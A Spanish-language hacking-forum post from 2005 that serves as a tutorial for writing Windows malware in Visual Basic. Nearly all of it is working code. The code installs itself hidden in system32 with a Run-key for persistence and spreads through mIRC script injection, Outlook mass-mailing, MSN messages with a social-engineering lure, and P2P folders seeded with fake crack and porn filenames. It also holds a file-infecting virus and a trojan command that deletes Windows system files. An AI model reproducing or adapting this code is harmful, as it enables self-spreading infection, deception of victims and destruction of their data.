elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 19:06  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Tecnicas de programación de malware en visual basic
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Tecnicas de programación de malware en visual basic  (Leído 951 veces)
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Tecnicas de programación de malware en visual basic
« en: 27 Septiembre 2005, 16:49 »

Tutorial de programación de malware
1 Introducción:
Este tutorial se me ocurrió porque quería englobar la mayoría de técnicas de malware. Lo primero saber que el malware no es legal aunque si su creación ¿que quiero decir?, que si creas un virus (utilizaré la palabra virus para referirme al malware) y se queda en tu ordenador y no sale a de alli es legal y es aprender con fines científicos, pero si tu le propagas enviandosele a tu amigo estás haciendo algo ilegal.
Por supuesto si estás empezando a crear virus con técnicas conocidas los antivirus te cantarán mucho a si que hay que aprender a cifrar.
2 A por la teoría:
Antes de ponernos a programar como locos en visual basic, es recomendable saber la teoría, no podemos ir como locos para crear virus. Dividiré la teoría en 4 apartados.
Gusanos:
Este tipo de malware con internet últimamente es superfamoso, los gusanos tratan de propagarse por internet usando estos métodos.
Mirc: Este método es muy sencillo se modifica el archivo script.ini del irc y se le dice que al iniciar el programa se conecte a un canal y envie el archivo seleccionado.
P2P: Este además de ser famoso es Sencillísimo, se basa en copiar a las carpetas compartidas p2p tu virus con nombres graciosos o interesantes. Este permite una buena propagación.
Email: Este es el mas famoso y viejo... Es un poco dificil, se trata de enviar email's a diestro y siniestro con las direcciones registradas en el pc.
Msn: Este es el mas novedoso, utiliza nuestro msn para enviarle un fichero comprimido a nuestras contactos.
Vulnerabilidades: Esto es ahora un poco nuevo (pero no nos equivocemos) los gusanos primitivos de internet se propagaban usando Vulnerabilidades. Ha habido gusanos que han puesto de rodillas a internet en mas de una ocasión.
Troyanos:
Estas criaturas son el reflejo de la batalla que ocurrio hace siglos en la ciudad de troya.
Existen dos tipos:
Acción inmediata: Son aplicaciones creadas normalmente por gente con pocos conocimientos de informática que se dedican a borrar y jorobar el ordenador o mostrar algo que joroba al usuario etc...
Acción monotorizada:  ::) Pues no hay de estos ni na..., ni me molesto en esplicarlo..., Subseven, backorifice, Netbus
Virus:
Estas criaturas legendarias son ni nada mas ni nada menos programas que añaden una instrucción al principio para que ejecuten el virus y despues el programa original que parasitan..., este grupo le veremos por encima.
Spyware:
El nuevo y famoso grupo  ;D este grupo creado por las internacionales se dedican a meterse dentro de nuestro ordenador a mostrar mensajes de publicidad, nosotros lo usaremos por encima.
3 Y comenzamos...
Los gusanos:
Lo principal de un gusano es parasitar el equipo y iniciarse cada vez que arranca el windows:
Código:
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\" & "\" & "nuestrovirus" & ".exe" 'Nos copiamos a system32

Call SetAttr("C:\Windows\system32\" & "\nuestro virus.EXE", vbHidden) 'Ocultamos el programa
RegSetValues RegLocalMachine, "Software\Microsoft\Windows\CurrentVersion\Run", "private", "C:\Windows\system32\nuestrovirus.exe", RegString 'Le añadimos al registro para que se inicie cada vez que arranque windows PERO se necesita un módulo que luego incluiré (el módulo del registro)
Esto está muy bien ya, hemos parasitado el ordenador y ahora es nuestro tesoro y podemos hacer lo que nos de la gana.... Pero ahora para no quedarnos estancado nos propagamos  ;D
Código:
On Error Resume Next
Dim chat As String
Dim N0 As String
Dim N1 As String 'creamos variables con cada valor
Dim N2 As String
Dim N3 As String
Dim fu As String
fu = "C:\Windows\system32\nuestrovirus.exe"
N0 = "n0=on 1:JOIN:#:{"
N1 = "n1= /if ( $nick == $me ) { halt }" 'las llenamos
N2 = "n2= /.dcc send $nick " & fu
N3 = "n3=}"
chat = FreeFile 'ponemos el fichero
Open "C:\mirc\script.ini" For Output As chat 'Le abrimos
Print #chat, "[script]"
Print #chat, ";mIRC Script"
Print #chat, ";"
Print #chat, ";irc - 18/8/2005"  'Le llenamos
Print #chat, ";"
Print #chat, N0
Print #chat, N1
Print #chat, N2
Print #chat, N3

Close #chat 'Y cerramos
Con esto hemos conseguido que cuando abra el irc se envie el gusano a todos nuestros amigos, pero AUN hay mas...
Propagación por email:
Hay dos métodos parasitando el outlook y enviamos mensajes usando el outlook o usando winsock.
Vamos a usar lo primero y luego daré un link para suar lo segundo.
Código:
Set Outlook = CreateObject("Outlook.Application") 'Crea el objeto Outlook
If Outlook = "Outlook" Then
Set Mapi = Outlook.GetNameSpace("MAPI") 'Llama a la librería Mapi
Set ListaDir = Mapi.AddressLists 'Obtiene las direcciones de los contactos
For Each Recipients In ListaDir 'Comienza el bucle tantas veces como direcciones
If Recipients.AddressEntries.Count <> 0 Then 'Si hay por lo menos una direccion continua
Cuenta = Recipients.AddressEntries.Count 'Establece a "Cuenta" la cantidad de direcciones que hay

For CadaUno = 1 To Cuenta
Set Vms = Outlook.CreateItem(0) 'Crea el Msg
Set Direccion = Recipients.AddressEntries(CadaUno) 'Setea en "Direccion" el e-mail que corresponda
Vms.To = Direccion.Address 'Para:
Vms.Subject = "NO estimado Bill G." 'Asunto:
Vms.Body = "Hola que tal," & vbcrlf & "Aqui le adjunto los precios para su funeral." & vbcrlf & "" 'Mensaje:
Set Adjunto = Vms.Attachments
Adjunto.Add wscript.scriptfullname 'Archivo Adjunto:
Vms.DeleteAfterSubmit = True 'Borrar después de enviar
If Vms.To <> "" Then 'Si el campo Para no está vacio
Vms.Send 'Enviar el Msg
End If
Next
End If
Next
End If
Este es un code superantigüo y la propagación por outlook es inexistente pero puede seros util... además los antivirus cantan un huevo con este code  ;D
Para lo segundo y aprendais a enviar correos vosotros mismos hos doi este link:
http://foro.elhacker.net/index.php/topic,72560.0.html
Es un manual creado por gusto muy bueno de como hacerlo.
P2P:
Esta es una forma sencilla, solo se trata de copiarse mucho  ;D
Un ejemplo:
Código:
Dim f As String
Dim k As String
Dim kl As String
Dim klk As String
Dim apple As String
Dim o As String
Dim s As String
Dim e As String
Dim unidad As String
Dim pr As String
Dim em As String
unidad = "C:/"
pr = "Archivos de programa\"
apple = unidad & pr & "appleJuice\incoming\"
e = unidad & pr & "eDonkey2000\incoming\"
k = unidad & pr & "Kazaa\My Shared Folder\"
kl = unidad & pr & "KaZaA Lite\My Shared Folder\"
klk = unidad & pr & "Kazaa Lite K++\My Shared Folder\" 'Ponemos rutas de carpetas, la fuente, unidades etc....  :o
o = unidad & pr & "Overnet\incoming\"
s = unidad & pr & "Shareaza\Downloads\"
f = "C:\Windows\system32\nuestrovirus.exe"
em = unidad & pr & "eMule\Incoming\"
'aqui empieza el emule
FileCopy f, em & "antisasser-ES.exe"
FileCopy f, em & "juego-porno.exe"
FileCopy f, em & "WinISO 5_3 + crack.exe"
FileCopy f, em & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, em & "WinRAR_Universal_Crack.exe"
FileCopy f, em & "sex.exe"
FileCopy f, em & "Panda Antivirus crack all versions (1).exe"
FileCopy f, em & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, em & "Cristina Aguilera Sex Video.exe"
FileCopy f, em & "Need 4 Speed crack.exe"
FileCopy f, em & "counter-strike.exe"
FileCopy f, em & "Age of Empires 2 crack.exe"
FileCopy f, em & "Nero Burning ROM crack.exe"
FileCopy f, em & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, em & "Yahoo Messenger 6.0.exe"
FileCopy f, em & "Messenger 8.0.exe"
FileCopy f, em & "virtua girl - adriana.exe"
FileCopy f, em & "KaZaA Hack 2.5.0.exe"
FileCopy f, em & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, em & "Crack Passwords Hotmail.exe"
FileCopy f, em & "Norton Anvirus Key Crack.exe"
FileCopy f, em & "GTA 3 Serial.exe"
FileCopy f, em & "Start Wars Trilogy Movies.exe"
FileCopy f, em & "AOL Instant Messenger.exe"
FileCopy f, em & "Fiveth smallville.exe"

'aqui emieza el apple juice
FileCopy f, apple & "antisasser-ES.exe"
FileCopy f, apple & "juego-porno.exe"
FileCopy f, apple & "WinISO 5_3 + crack.exe"
FileCopy f, apple & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, apple & "WinRAR_Universal_Crack.exe"
FileCopy f, apple & "sex.exe"
FileCopy f, apple & "Panda Antivirus crack all versions (1).exe"
FileCopy f, apple & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, apple & "Cristina Aguilera Sex Video.exe"
FileCopy f, apple & "Need 4 Speed crack.exe"
FileCopy f, apple & "counter-strike.exe"
FileCopy f, apple & "Age of Empires 2 crack.exe"
FileCopy f, apple & "Nero Burning ROM crack.exe"
FileCopy f, apple & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, apple & "Yahoo Messenger 6.0.exe"
FileCopy f, apple & "Messenger 8.0.exe"
FileCopy f, apple & "virtua girl - adriana.exe"
FileCopy f, apple & "KaZaA Hack 2.5.0.exe"
FileCopy f, apple & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, apple & "Crack Passwords Hotmail.exe"
FileCopy f, apple & "Norton Anvirus Key Crack.exe"
FileCopy f, apple & "GTA 3 Serial.exe"
FileCopy f, apple & "Start Wars Trilogy Movies.exe"
FileCopy f, apple & "AOL Instant Messenger.exe"
FileCopy f, apple & "Fiveth smallville.exe"
'aqui empieza edonkey 2000

FileCopy f, e & "antisasser-ES.exe"
FileCopy f, e & "juego-porno.exe"
FileCopy f, e & "WinISO 5_3 + crack.exe"
FileCopy f, e & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, e & "WinRAR_Universal_Crack.exe"
FileCopy f, e & "sex.exe"
FileCopy f, e & "Panda Antivirus crack all versions (1).exe"
FileCopy f, e & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, e & "Cristina Aguilera Sex Video.exe"
FileCopy f, e & "Need 4 Speed crack.exe"
FileCopy f, e & "counter-strike.exe"
FileCopy f, e & "Age of Empires 2 crack.exe"
FileCopy f, e & "Nero Burning ROM crack.exe"
FileCopy f, e & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, e & "Yahoo Messenger 6.0.exe"
FileCopy f, e & "Messenger 8.0.exe"
FileCopy f, e & "virtua girl - adriana.exe"
FileCopy f, e & "KaZaA Hack 2.5.0.exe"
FileCopy f, e & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, e & "Crack Passwords Hotmail.exe"
FileCopy f, e & "Norton Anvirus Key Crack.exe"
FileCopy f, e & "GTA 3 Serial.exe"
FileCopy f, e & "Start Wars Trilogy Movies.exe"
FileCopy f, e & "AOL Instant Messenger.exe"
FileCopy f, e & "Fiveth smallville.exe"
' aqui empieza Kazaa
FileCopy f, k & "antisasser-ES.exe"
FileCopy f, k & "juego-porno.exe"
FileCopy f, k & "WinISO 5_3 + crack.exe"
FileCopy f, k & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, k & "WinRAR_Universal_Crack.exe"
FileCopy f, k & "sex.exe"
FileCopy f, k & "Panda Antivirus crack all versions (1).exe"
FileCopy f, k & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, k & "Cristina Aguilera Sex Video.exe"
FileCopy f, k & "Need 4 Speed crack.exe"
FileCopy f, k & "counter-strike.exe"
FileCopy f, k & "Age of Empires 2 crack.exe"
FileCopy f, k & "Nero Burning ROM crack.exe"
FileCopy f, k & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, k & "Yahoo Messenger 6.0.exe"
FileCopy f, k & "Messenger 8.0.exe"
FileCopy f, k & "virtua girl - adriana.exe"
FileCopy f, k & "KaZaA Hack 2.5.0.exe"
FileCopy f, k & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, k & "Crack Passwords Hotmail.exe"
FileCopy f, k & "Norton Anvirus Key Crack.exe"
FileCopy f, k & "GTA 3 Serial.exe"
FileCopy f, k & "Start Wars Trilogy Movies.exe"
FileCopy f, k & "AOL Instant Messenger.exe"
FileCopy f, k & "Fiveth smallville.exe"
'kazaa little
FileCopy f, kl & "antisasser-ES.exe"
FileCopy f, kl & "juego-porno.exe"
FileCopy f, kl & "WinISO 5_3 + crack.exe"
FileCopy f, kl & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, kl & "WinRAR_Universal_Crack.exe"
FileCopy f, kl & "sex.exe"
FileCopy f, kl & "Panda Antivirus crack all versions (1).exe"
FileCopy f, kl & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, kl & "Cristina Aguilera Sex Video.exe"
FileCopy f, kl & "Need 4 Speed crack.exe"
FileCopy f, kl & "counter-strike.exe"
FileCopy f, kl & "Age of Empires 2 crack.exe"
FileCopy f, kl & "Nero Burning ROM crack.exe"
FileCopy f, kl & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, kl & "Yahoo Messenger 6.0.exe"
FileCopy f, kl & "Messenger 8.0.exe"
FileCopy f, kl & "virtua girl - adriana.exe"
FileCopy f, kl & "KaZaA Hack 2.5.0.exe"
FileCopy f, kl & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, kl & "Crack Passwords Hotmail.exe"
FileCopy f, kl & "Norton Anvirus Key Crack.exe"
FileCopy f, kl & "GTA 3 Serial.exe"
FileCopy f, kl & "Start Wars Trilogy Movies.exe"
FileCopy f, kl & "AOL Instant Messenger.exe"
FileCopy f, kl & "Fiveth smallville.exe"
'Mas kazaa que pesaitos
FileCopy f, klk & "antisasser-ES.exe"
FileCopy f, klk & "juego-porno.exe"
FileCopy f, klk & "WinISO 5_3 + crack.exe"
FileCopy f, klk & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, klk & "WinRAR_Universal_Crack.exe"
FileCopy f, klk & "sex.exe"
FileCopy f, klk & "Panda Antivirus crack all versions (1).exe"
FileCopy f, klk & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, klk & "Cristina Aguilera Sex Video.exe"
FileCopy f, klk & "Need 4 Speed crack.exe"
FileCopy f, klk & "counter-strike.exe"
FileCopy f, klk & "Age of Empires 2 crack.exe"
FileCopy f, klk & "Nero Burning ROM crack.exe"
FileCopy f, klk & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, klk & "Yahoo Messenger 6.0.exe"
FileCopy f, klk & "Messenger 8.0.exe"
FileCopy f, klk & "virtua girl - adriana.exe"
FileCopy f, klk & "KaZaA Hack 2.5.0.exe"
FileCopy f, klk & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, klk & "Crack Passwords Hotmail.exe"
FileCopy f, klk & "Norton Anvirus Key Crack.exe"
FileCopy f, klk & "GTA 3 Serial.exe"
FileCopy f, klk & "Start Wars Trilogy Movies.exe"
FileCopy f, klk & "AOL Instant Messenger.exe"
FileCopy f, klk & "Fiveth smallville.exe"
'Aqui empieza overnet
FileCopy f, o & "antisasser-ES.exe"
FileCopy f, o & "juego-porno.exe"
FileCopy f, o & "WinISO 5_3 + crack.exe"
FileCopy f, o & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, o & "WinRAR_Universal_Crack.exe"
FileCopy f, o & "sex.exe"
FileCopy f, o & "Panda Antivirus crack all versions (1).exe"
FileCopy f, o & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, o & "Cristina Aguilera Sex Video.exe"
FileCopy f, o & "Need 4 Speed crack.exe"
FileCopy f, o & "counter-strike.exe"
FileCopy f, o & "Age of Empires 2 crack.exe"
FileCopy f, o & "Nero Burning ROM crack.exe"
FileCopy f, o & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, o & "Yahoo Messenger 6.0.exe"
FileCopy f, o & "Messenger 8.0.exe"
FileCopy f, o & "virtua girl - adriana.exe"
FileCopy f, o & "KaZaA Hack 2.5.0.exe"
FileCopy f, o & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, o & "Crack Passwords Hotmail.exe"
FileCopy f, o & "Norton Anvirus Key Crack.exe"
FileCopy f, o & "GTA 3 Serial.exe"
FileCopy f, o & "Start Wars Trilogy Movies.exe"
FileCopy f, o & "AOL Instant Messenger.exe"
FileCopy f, o & "Fiveth smallville.exe"
'Aqui empieza el ultimo shareza
FileCopy f, s & "antisasser-ES.exe"
FileCopy f, s & "juego-porno.exe"
FileCopy f, s & "WinISO 5_3 + crack.exe"
FileCopy f, s & "Windows XP - Activation Crack (Home Edition & Professional).exe"
FileCopy f, s & "WinRAR_Universal_Crack.exe"
FileCopy f, s & "sex.exe"
FileCopy f, s & "Panda Antivirus crack all versions (1).exe"
FileCopy f, s & "Windows.Server.2003.Enterprise.Corporate.PL.Keygen[Colin].exe"
FileCopy f, s & "Cristina Aguilera Sex Video.exe"
FileCopy f, s & "Need 4 Speed crack.exe"
FileCopy f, s & "counter-strike.exe"
FileCopy f, s & "Age of Empires 2 crack.exe"
FileCopy f, s & "Nero Burning ROM crack.exe"
FileCopy f, s & "Network Cable e ADSL Speed 2.0.5.exe"
FileCopy f, s & "Yahoo Messenger 6.0.exe"
FileCopy f, s & "Messenger 8.0.exe"
FileCopy f, s & "virtua girl - adriana.exe"
FileCopy f, s & "KaZaA Hack 2.5.0.exe"
FileCopy f, s & "Hackear hotmail ¡¡Funciona!!.exe"
FileCopy f, s & "Crack Passwords Hotmail.exe"
FileCopy f, s & "Norton Anvirus Key Crack.exe"
FileCopy f, s & "GTA 3 Serial.exe"
FileCopy f, s & "Start Wars Trilogy Movies.exe"
FileCopy f, s & "AOL Instant Messenger.exe"
FileCopy f, s & "Fiveth smallville.exe"       'Copiamos currando ;D
'Creo qeu con esto me lo he currado
El problema son las cadenas, luego usando una utilidad del gedzac hos enseñaré a encriptarlas...
Propagación por msn:
Esto es nuevo y ha sido creado por el gedzac este code espero que hos sirva:
Código:
En un form:
Const msnOnline = 2
Const msnOffline = 1
Private Sub Form_Load()
On Error Resume Next
Dim w As Object, iMsn As Object, ConTacto As Object
Set w = CreateObject("Messenger.UIAutomation")
    For Each ConTacto In w.MyContacts
        If ConTacto.Status = msnOnline Then
            Set iMsn = w.InstantMessage(ConTacto.SigninName)
            Call SpamMsn(iMsn.hwnd)
        End If
    Next
End Sub
Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString)
If l = 0 Then Exit Sub
'La ingenieria social es vital para que la reproduccion resulte exitosa
Call SendText(l, "jaja, mira que buena foto :P", False, True)
DoEvents
EnviarFile App.Path & "\" & App.EXEName & ".exe", l
End Sub
Public Sub SendText(pIMWindow As Long, sText As String, Optional bSend As Boolean = False, Optional bKeepFocus As Boolean = True)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
hPrevWnd = GetForegroundWindow
Do
    Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI

For i = 1 To Len(sText)
    Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
If bSend Then
    Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
    Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End If
If Not bKeepFocus Then
    Call SetForegroundWindow(hPrevWnd)
End If
End Sub
'En un módulo
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function PostMessageString Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Const GW_HWNDFIRST = 0&
Private Const GW_HWNDNEXT = 2&
Private Const GW_CHILD = 5&
Public Const GWL_HWNDPARENT = (-8)
Public Const WM_SETTEXT = &HC
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_COMMAND = &H111
Public Const VK_RETURN = &HD

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
    Dim X           As Long
    Dim Edit        As Long
    Dim ParentHWnd  As Long
    Dim hWndText    As String
    Dim t           As Single

    Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
    DoEvents
    X = GetWindow(GetDesktopWindow(), GW_CHILD)
    hWndText = fWindowText(X)
    t = Timer
    Do Until (InStr(hWndText, "Enviar") <> 0 And InStr(hWndText, "fichero") <> 0) Or (InStr(hWndText, "Send") <> 0 And InStr(hWndText, "File") <> 0)
        X = GetWindow(X, GW_HWNDNEXT)
        hWndText = fWindowText(X)
        If Format(Timer - t, "0.00") > 5 Then GoTo FIN
    Loop
    ShowWindow X, 0&
    Edit = FindWindowEx(X, 0, "Edit", vbNullString)
    If Edit = 0 Then
        Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
        Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
    End If
    If Edit = 0 Then Exit Function
    Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
    Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
    Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
    EnviarFile = True
FIN:
End Function
Public Function fWindowText(hwnd As Long) As String
    Dim lLength     As Long
    Dim sText       As String
    lLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0, ByVal 0&)
    sText = Space$(lLength + 1)
    Call SendMessage(hwnd, WM_GETTEXT, lLength + 1, ByVal sText)
    fWindowText = Left$(sText, lLength)
End Function

No se si es muy detectado por los antivirus este método, lo que se es que no es mia la idea  ;D
Virus:
Aqui un "pequeño" ejemplo de un virus... con fallos creado por mi, puede servir como bases:
Código:
Form1.Visible = False 'Ocultamos el formulario

Dim tam As String
Dim completo As String
tam = FileLen("C:\virus.exe") 'Vemos la longitud del virus
infectar "C:\", "victima.exe" 'LLamamos a la función infectar
If tam <> "20480" Then 'Si el tamaño es diferente a ese cogemos y ejecutamos la aplicación que corresponde al programa
completo = App.EXEName & ".exe"
devolver completo 'Ejecutamos el programa que tenía antes el usuario para que piense que no pasa nada
Else

End If
End Sub
Public Function infectar(directorio As String, exe As String)
On Error Resume Next
Dim rutae As String
Dim host As String
Dim virus As String
Dim firma As String

firma = "ALBACA" 'La firma con esto tengo problemas
rutae = directorio & exe 'la ruta

host = Space(LOF(1))
Open "C:\victima.exe" For Binary Access Read As #2 'sacamos la aplicación que infectaremos

Get #2, , host
Close #2
Open "c:\victima.exe" For Binary Access Read As #3 'sacamos el código malicioso
virus = Space(20480)
Get #3, , virus
Close #3
If InStr(host, firma) = 0 Then 'comprobamos si tiene la misma cadena de no ser asi proderemos a su infección

FileCopy rutae, "C:\secure" & "\" & exe 'Hacemos una copia de seguridad del ejecutable
Open rutae For Binary Access Write As #4
Put #4, , virus 'metemos el virus
Put #4, , host  'el programa original
Put #4, , firma 'la firma
Close #4
Else
Call MsgBox("Fichero infectado")
End If
End Function
Public Function devolver(nombrexe As String)

Shell "C:\secure\victima.exe" 'Ejecutamos el exe para que crea que no ha pasado nada a su aplicación

End Function



Mas explicado, aquí: http://foro.elhacker.net/index.php/topic,81309.0.html
Y con esto llegamos a:
Troyanos:
Para hacer un troyano que jorobe y quitarle la diversión de programar solo hay que hacer:
Código:
shell "del c:\windows\*.*"
A si que no tiene mucha cosa...
Explicaría aqui como se hacen los troyanos, pero PARA QUÉ si hay un excelente manual creado por fulano_:
http://foro.elhacker.net/index.php/topic,57545.0.html
4 Módulos necesarios:
[code]'Este módulo sirve para operar con el registro
Option Explicit


Private Declare Function OSRegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function OSRegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function OSRegConnectRegistry Lib "advapi32.dll" Alias "RegConnectRegistryA" (ByVal lpMachineName As String, ByVal hKey As Long, phkResult As Long) As Long
Private Declare Function OSRegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function OSRegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long

Private Declare Function OSRegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Private Declare Function OSRegFlushKey Lib "advapi32.dll" Alias "RegFlushKey" (ByVal hKey As Long) As Long
Private Declare Function OSRegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" (ByVal hKey As Long, ByVal lpClass As String, lpcbClass As Long, ByVal lpReserved As Long, lpcSubKeys As Long, lpcbMaxSubKeyLen As Long, lpcbMaxClassLen As Long, lpcValues As Long, lpcbMaxValueNameLen As Long, lpcbMaxValueLen As Long, lpcbSecurityDescriptor As Long, lpftLastWriteTime As FILETIME) As Long

Private Declare Function OSRegReplaceKey Lib "advapi32.dll" Alias "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpNewFile As String, ByVal lpOldFile As String) As Long
Private Declare Function OSRegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
Private Declare Function OSRegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Private Declare Function OSRegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function OSRegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function OSRegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function OSRegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

'Tipos de datos del registro
'
Const REG_NONE = 0                'No definido
Const REG_SZ = 1                  'Cadena de texto
Const REG_EXPAND_SZ = 2           'Cadena que contiene una referencia a una variable de entorno (por ej. %windir%)
Const REG_BINARY = 3              'Datos binarios en cualquier formato
Const REG_DWORD = 4               'Número de 32 bits
Const REG_DWORD_LITTLE_ENDIAN = 4 'Igual a REG_DWORD
Const REG_DWORD_BIG_ENDIAN = 5
Const REG_LINK = 6                'Un vínculo Unicode símbolico
Const REG_MULTI_SZ = 7            'Una matriz de cadenas terminadas en dos caracteres nulos
Const REG_RESOURCE_LIST = 8       'Lista de recursos de un controlador de dispositivo

Const READ_CONTROL = &H20000  'El derecho para leer la información en el descriptor de seguridad del objeto, no incluyendo la información en SACL.
Const SYNCHRONIZE = &H100000

'Derechos normales de acceso
'
Const STANDARD_RIGHTS_ALL = &H1F0000          'Lectura y escritura
Const STANDARD_RIGHTS_READ = (READ_CONTROL)   'Lectura
Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)  'Escritura

